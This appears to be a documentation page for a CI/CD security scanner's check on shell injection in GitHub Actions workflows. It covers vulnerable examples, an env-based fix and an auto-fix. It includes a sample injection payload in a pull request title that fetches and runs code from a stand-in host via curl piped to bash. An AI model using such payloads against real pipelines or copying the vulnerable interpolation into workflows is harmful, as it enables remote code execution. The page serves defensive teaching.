> ## Documentation Index
> Fetch the complete documentation index at: https://docs.pipefort.com/llms.txt
> Use this file to discover all available pages before exploring further.

# CICD-SEC-4 — Poisoned Pipeline Execution (shell injection)

> Interpolating untrusted github.event data into an inline run script lets attackers execute arbitrary code.

| Field    | Value                                                                                                                                              |
| -------- | -------------------------------------------------------------------------------------------------------------------------------------------------- |
| Category | `CICD-SEC-4`                                                                                                                                       |
| Severity | **HIGH**                                                                                                                                           |
| OWASP    | [CICD-SEC-4: Poisoned Pipeline Execution (PPE)](https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-04-Poisoned-Pipeline-Execution) |
| Auto-fix | ✓ ([what it does](#auto-fix))                                                                                                                      |

## What the check does

Flags steps that interpolate an attacker-controllable GitHub context into code — both in inline `run:` scripts **and** in action `with:` inputs that are evaluated as code (most notably `actions/github-script`'s `script:`). The flagged contexts are:

* `github.head_ref` — the fork PR's source branch name, fully attacker-controlled
* `github.event.pull_request.*`, `github.event.issue(s).*`, `github.event.comment.*`
* `github.event.review.*`, `github.event.review_comment.*`
* `github.event.discussion.*`, `github.event.discussion_comment.*`
* `github.event.head_commit.*`, `github.event.commits.*`
* `github.event.pages.*`, `github.event.workflow_run.*`

GitHub Actions substitutes these expressions **into the command/script string before execution**, so an attacker who can shape the value (a PR title, branch name, issue body, commit message, review body) can inject arbitrary code.

### `with:`-input injection

```yaml theme={null}
- uses: actions/github-script@v7
  with:
    script: |
      console.log("${{ github.event.issue.title }}")   # ← evaluated as JS
```

The action evaluates `script:` itself, so hoisting into `env:` does not help — these findings are **flag-only**. Read the untrusted value from `process.env` after passing it via `env:`, or avoid interpolating it into the input at all.

## Vulnerable example

```yaml theme={null}
- name: Greet PR
  run: |
    echo "Welcome ${{ github.event.pull_request.title }}!"   # ← injection
```

A PR titled `"; curl evil.example.com/x | bash; #` becomes:

```bash theme={null}
echo "Welcome "; curl evil.example.com/x | bash; #!"
```

## Safe alternative

Lift the untrusted value into the step's `env:` block first, then reference it as a normal shell variable:

```yaml theme={null}
- name: Greet PR
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: |
    echo "Welcome $PR_TITLE!"
```

The `env:` substitution happens *before* the shell is invoked, and shells treat `$VAR` expansion as a single argument — no command parsing happens against the value.

## Auto-fix

`--fix` performs the lift automatically:

1. For each matched `${{ github.event.* }}` expression in the step's `run:`,
2. Create a corresponding entry in the step's `env:` block (creates the block if missing), and
3. Replace the interpolation in the script with `$VAR_NAME`.

Variable names are derived from the expression path (e.g. `github.event.pull_request.title` → `PR_PULL_REQUEST_TITLE`).
